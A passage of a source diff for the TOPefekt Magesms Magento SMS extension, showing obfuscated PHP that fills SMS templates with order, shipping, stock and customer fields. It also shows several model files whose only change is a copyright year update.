$i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_vat_number'] = $i560c12365c45b205daa0512840c70486783226b1->getVatId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getIncrementId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getPayment()->getMethodInstance()->getTitle(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment_html'])) { $ic078737049591e1e2db7c285f3e3b95cb867c6d0 = Mage::helper('payment')->getInfoBlock($i5e65dd16263683749d16a84171f719e768ed14b5->getPayment()) ->setIsSecureMode(true); $ic078737049591e1e2db7c285f3e3b95cb867c6d0->getMethod()->setStore($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i42745015bca99637011d2ba8a559beb3a8b0961f = strip_tags($ic078737049591e1e2db7c285f3e3b95cb867c6d0->toHtml()); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace('/ +/', ' ', $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/ \n/", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/\n /", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/\n\n+/", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment_html'] = trim($i42745015bca99637011d2ba8a559beb3a8b0961f); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_total_paid'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_total_paid'] = Mage::getModel('directory/currency')->format($i5e65dd16263683749d16a84171f719e768ed14b5->getGrandTotal(), array('display'=>Zend_Currency::NO_SYMBOL), false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_subtotal'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_subtotal'] = Mage::getModel('directory/currency')->format($i5e65dd16263683749d16a84171f719e768ed14b5->getSubtotal(), array('display'=>Zend_Currency::NO_SYMBOL), false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_amount'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_amount'] = Mage::getModel('directory/currency')->format($i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAmount(), array('display'=>Zend_Currency::NO_SYMBOL), false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_currency'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_currency'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getOrderCurrency()->getCurrencyCode(); } $this->f2b4066ec99f97011a4a9f20dd18d97b5a49b8b51($i0933475b5bd80561a9f50282fd9eb0b8345cec4b, $i5e65dd16263683749d16a84171f719e768ed14b5->getCreatedAt()); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'])) { $ifd002a4ef735f38a6030baa73fafafa1118ff492 = Mage::getModel('ecommerceteam_ddc/order'); if ($ifd002a4ef735f38a6030baa73fafafa1118ff492) { $i82d8f80a6f30d2bff1b6b037fd170117a61f4e69 = $ifd002a4ef735f38a6030baa73fafafa1118ff492->load($i5e65dd16263683749d16a84171f719e768ed14b5->getEntityId(), 'order_id')->getData(); if (isset($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['order_id'])) { if (strtotime($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['delivery_date'])) { $i5b8dea0c150539c8b78ffa4a4ee9b4ea0bf09414 = Mage::getSingleton('core/locale')->date($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['delivery_date'], Zend_Date::ISO_8601, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_FULL)); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'] = $i5b8dea0c150539c8b78ffa4a4ee9b4ea0bf09414; } } elseif ($i2d35534ee8eb5c1c7e742a61e000486ce24db667 = Mage::app()->getRequest()->getParam('delivery_date')) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'] = $i2d35534ee8eb5c1c7e742a61e000486ce24db667; } } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['estimated_delivery_date'])) { if (Mage::helper('core')->isModuleEnabled('Wyomind_Estimateddeliverydate')) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['estimated_delivery_date'] = mb_strtoupper(trim(strip_tags(Mage::helper("estimateddeliverydate/data")->getCartMessage())), 'utf-8'); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'newOrder') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['cart_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['cart_id'] = Mage::getSingleton('checkout/session')->getQuoteId(); } $i32ce098f2dde8081cf3c4de31f52b408a6ad48be = $i5e65dd16263683749d16a84171f719e768ed14b5->getItemsCollection(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder1'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getName().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder1'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder2'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = 'id:'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getId().', ' .Mage::helper('magesms')->__('name').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getName().', ' .Mage::helper('magesms')->__('qty').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder2'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder3'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder3'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder4'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = 'id:'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getId().', ' .Mage::helper('magesms')->__('qty').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder4'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder5'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getSku().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder5'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderTrackingNumber') { if (!($i9805d668f75b6b461f88474f57c5f6aa86a87316 = Mage::registry('magesms_track_obj'))) $i9805d668f75b6b461f88474f57c5f6aa86a87316 = $i5e65dd16263683749d16a84171f719e768ed14b5->getTracksCollection()->getLastItem(); if (!$i9805d668f75b6b461f88474f57c5f6aa86a87316->getId()) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = Mage::app()->getRequest()->getParams(); if (isset($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a['tracking']) && ($i71035ea6aa66350bb658a262013eb58377a0934e = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a['tracking'])) { $i71035ea6aa66350bb658a262013eb58377a0934e = end($i71035ea6aa66350bb658a262013eb58377a0934e); if (!empty($i71035ea6aa66350bb658a262013eb58377a0934e['title'])) $i9805d668f75b6b461f88474f57c5f6aa86a87316->setTitle($i71035ea6aa66350bb658a262013eb58377a0934e['title']); if (!empty($i71035ea6aa66350bb658a262013eb58377a0934e['number'])) $i9805d668f75b6b461f88474f57c5f6aa86a87316->setTrackNumber($i71035ea6aa66350bb658a262013eb58377a0934e['number']); } } if ($i9805d668f75b6b461f88474f57c5f6aa86a87316) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['carrier_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['carrier_name'] = $i9805d668f75b6b461f88474f57c5f6aa86a87316->getTitle(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_number'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_number'] = $i9805d668f75b6b461f88474f57c5f6aa86a87316->getTrackNumber(); } } $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87 = Mage::getSingleton('admin/session')->getUser(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_id'] = $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_email'] = $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getEmail(); } } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'productOutOfStock' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'productLowStock') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getProductId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_quantity'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_quantity'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getQty(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'])) { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product'); $i69a1201e93806d55c970dfb18feec53d221ba37b->load($i5e65dd16263683749d16a84171f719e768ed14b5->getProductId()); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name'] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getSku(); } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { if ($i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer()) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i21e55df616c305955791876c1eb4da83448beba2->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i21e55df616c305955791876c1eb4da83448beba2->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i21e55df616c305955791876c1eb4da83448beba2->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i21e55df616c305955791876c1eb4da83448beba2->getFirstname(); } } } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'customerRegisterOTP' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'newOrderOTP' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'checkoutCustomerOTP') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['code'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['code'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCode(); } } foreach($i0933475b5bd80561a9f50282fd9eb0b8345cec4b as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace('{'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039.'}', $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); } } return $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; } private function f2b4066ec99f97011a4a9f20dd18d97b5a49b8b51(&$i0933475b5bd80561a9f50282fd9eb0b8345cec4b, $i53ddb2282ac3aca0d44abe35abcf69959ed66574) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date'] = $i53ddb2282ac3aca0d44abe35abcf69959ed66574; } $i17c20960d197486b19dc890665362a4f2fd6f24a = date_parse($i53ddb2282ac3aca0d44abe35abcf69959ed66574); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date1'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date2'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date3'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date3'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date4'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date4'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['year'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date5'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date5'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date6'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date6'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date7'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date7'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['hour'].':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['minute']); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time1'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['hour'].':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['minute']).':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['second']); } } }
app/code/community/Topefekt/Magesms/Model/Hooks/Admins.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Admins extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_admins'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Admins extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_admins'); } }
app/code/community/Topefekt/Magesms/Model/Hooks/Customers.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Customers extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_customers'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Customers extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_customers'); } }
app/code/community/Topefekt/Magesms/Model/Hooks/Templates.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Templates extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_templates'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Templates extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_templates'); } }
app/code/community/Topefekt/Magesms/Model/Hooks/Unicode.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Unicode extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_unicode'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Hooks_Unicode extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/hooks_unicode'); } }
app/code/community/Topefekt/Magesms/Model/Magesms.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Magesms extends Mage_Core_Model_Abstract { public function _construct() { die(get_class($this)); parent::_construct(); $this->_init('magesms/admins'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Magesms extends Mage_Core_Model_Abstract { public function _construct() { die(get_class($this)); parent::_construct(); $this->_init('magesms/admins'); } }
app/code/community/Topefekt/Magesms/Model/Maps.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Maps extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init ( 'magesms/maps' ); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Maps extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init ( 'magesms/maps' ); } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter extends Mage_Core_Model_Abstract { static protected $_websites; static public $colors = array( "#ed6502", "#229922", "#999922", "#229999", "#999999", "#885566", "#9933aa", "#19aba3", "#dcca00", "#96c8a3", ); protected function _construct() { $this->_init( 'magesms/marketing_filter' ); } public function getWebsites() { if (!empty(self::$_websites)) return self::$_websites; self::$_websites = Mage::app()->getWebsites(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach(self::$_websites as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d == count(self::$colors)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->setColorWebsite(self::$colors[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } return self::$_websites; } public function getColorWebsite($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { foreach($this->getWebsites() as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc) if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId() == $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7d411c0cc32cdb65ec82b9e8d79aa996946f5538) return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getColorWebsite(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter extends Mage_Core_Model_Abstract { static protected $_websites; static public $colors = array( "#ed6502", "#229922", "#999922", "#229999", "#999999", "#885566", "#9933aa", "#19aba3", "#dcca00", "#96c8a3", ); protected function _construct() { $this->_init( 'magesms/marketing_filter' ); } public function getWebsites() { if (!empty(self::$_websites)) return self::$_websites; self::$_websites = Mage::app()->getWebsites(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach(self::$_websites as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d == count(self::$colors)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->setColorWebsite(self::$colors[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } return self::$_websites; } public function getColorWebsite($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { foreach($this->getWebsites() as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc) if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId() == $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7d411c0cc32cdb65ec82b9e8d79aa996946f5538) return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getColorWebsite(); } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Birthday.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Birthday extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of birth from: '), 'type' => 'date', 'name' => 'birthday', 'color' => '#907523', 'glue' => ' / '.Mage::helper('magesms')->__('to: '), ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e = array(); $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69 = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])) $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e[] = array('from' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]))); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69[] = array('to' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]))); } } if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e); if 